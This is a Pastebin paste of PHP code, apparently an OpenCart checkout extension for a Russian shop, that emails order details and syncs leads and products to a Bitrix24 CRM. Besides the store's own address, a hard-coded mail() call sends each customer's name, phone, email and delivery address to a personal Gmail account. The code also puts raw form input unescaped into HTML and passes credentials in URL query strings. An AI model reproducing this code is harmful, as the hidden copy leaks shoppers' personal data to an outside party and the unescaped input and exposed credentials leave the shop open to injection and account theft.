Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // extension code start
- $fullName = $this->request->post['firstname'];
- $phoneNum = $this->request->post['telephone'];
- $email = $this->request->post['email'];
- $enableSubscription = $this->request->post['newsletter'];
- $shippingMethod = $this->request->post['shipping_method'];
- $paymentMethod = $this->request->post['payment_method'];
- $address = $this->request->post['address'];
- $enableSubscription = $enableSubscription == 1 ? "Да" : "Нет";
- $total = "";
- $products = $this->cart->getProducts();
- foreach ($products as $product)
- {
- $total .= "<tr>";
- $size = $product["option"][0]["value"];
- $total .= '<td>'.$product["name"].'</td>';
- $total .= '<td>'.$product["model"].'</td>';
- $total .= '<td>'.$size.'</td>';
- $total .= '<td>'.$product["quantity"].'</td>';
- $total .= '<td>'.$product["price"].'</td>';
- $total .= '<td>'.$product["total"].'</td>';
- $total .="</tr>";
- }
- $subject = "Заказ товара";
- $text =
- "
- <html>
- <head>
- <style>
- tr, table
- {
- border-spacing: 0;
- }
- td
- {
- border-spacing: 0;
- border: 1px solid #aaa;
- padding: 5px;
- text-align:center;
- font-size: 14px;
- }
- .TableHead
- {
- background: #eee;
- }
- .TableHead > tr > td
- {
- font-size: initial;
- }
- </style>
- </head>
- <body>
- <h2>Вам пришел заказ!</h2>
- Ф.И.О: $fullName <br/>
- Номер телефона: $phoneNum <br/>
- E-Mail: $email <br/>
- Подписка: $enableSubscription <br/>
- $shippingMethod <br/>
- Метод оплаты: $paymentMethod <br/>
- Адрес доставки: $address <br/>
- <h3>Заказанные товары: </h3>
- <table>
- <thead>
- <tr class='TableHead'>
- <td cellspacing='0'><b>Товар</b></td>
- <td cellspacing='0'><b>Модель</b></td>
- <td cellspacing='0'><b>Размер</b></td>
- <td cellspacing='0'><b>Количество</b></td>
- <td cellspacing='0'><b>Цена</b></td>
- <td cellspacing='0'><b>Итого</b></td>
- </tr>
- </thead>
- <tbody>
- $total
- </tbody>
- </table>
- </body>
- </html>
- ";
- $b24Text =
- "
- <html>
- <head>
- </head>
- <body>
- <h2>Вам пришел заказ!</h2>
- Ф.И.О: $fullName <br/>
- Номер телефона: $phoneNum <br/>
- E-Mail: $email <br/>
- Подписка: $enableSubscription <br/>
- $shippingMethod <br/>
- Метод оплаты: $paymentMethod <br/>
- Адрес доставки: $address <br/>
- <h3>Заказанные товары: </h3>
- <table>
- <thead>
- <tr class='TableHead'>
- <td cellspacing='0'><b>Товар</b></td>
- <td cellspacing='0'><b>Модель</b></td>
- <td cellspacing='0'><b>Размер</b></td>
- <td cellspacing='0'><b>Количество</b></td>
- <td cellspacing='0'><b>Цена</b></td>
- <td cellspacing='0'><b>Итого</b></td>
- </tr>
- </thead>
- <tbody>
- $total
- </tbody>
- </table>
- </body>
- </html>
- ";
- $reciever = $this->config->get('config_email');
- $headers = 'MIME-Version: 1.0' . "\r\n";
- $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
- mail($reciever, $subject, $text, $headers);
- mail("vovanabvgd@gmail.com", $subject, $text, $headers);
- $b24Username = "B24_USERNAME";
- $b24Password = "B24_PASSWORD";
- $b24Domain = "B24_DOMAIN";
- $b24RequestParameters = Array
- (
- "LOGIN" => $b24Username,
- "PASSWORD" => $b24Password,
- "TITLE" => "Заказ №".$this->db->getLastId(),
- "NAME" => $fullName,
- "LAST_NAME" => "",
- "PHONE_OTHER" => $phoneNum,
- "EMAIL_OTHER" => $email,
- "OPPORTUNITY" => $product["total"],
- "SOURCE_ID" => "WEB",
- "SOURCE_DESCRIPTION" => $order_data["store_url"],
- "COMMENTS" => $b24Text
- );
- $b24RequestQuery = http_build_query($b24RequestParameters);
- $b24RequestURL = "https://".$b24Domain."/crm/configs/import/lead.php?".$b24RequestQuery;
- $b24APIResponse = file_get_contents($b24RequestURL);
- $b24Tokens = explode("&", file_get_contents("B24_TOKENS_FILENAME"));
- $b24RefreshToken = $b24Tokens[1];
- $clientID = "CLIENT_ID";
- $clientSecret = "CLIENT_SECRET";
- $reqURL = "https://oauth.bitrix.info/oauth/token/?grant_type=refresh_token&client_id=$clientID&client_secret=$clientSecret&refresh_token=$b24RefreshToken";
- $response = json_decode(file_get_contents($reqURL), true);
- $b24AccessToken = $response["access_token"];
- $b24RefreshToken = $response["refresh_token"];
- $dbfc = $b24AccessToken."&".$b24RefreshToken;
- file_put_contents("B24_TOKENS_FILENAME", $dbfc);
- foreach($products as $product)
- {
- $b24RequestParameters = Array
- (
- "fields" => Array
- (
- "NAME" => $product["name"],
- "CURRENCY_ID" => "RUB",
- "PRICE" => $product["price"]
- ),
- "auth" => $b24AccessToken
- );
- $b24RequestURL = "https://".$b24Domain."/rest/crm.product.add.json?".http_build_query($b24RequestParameters);
- $b24APIResponse = file_get_contents($b24RequestURL);
- }
- // extension code end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement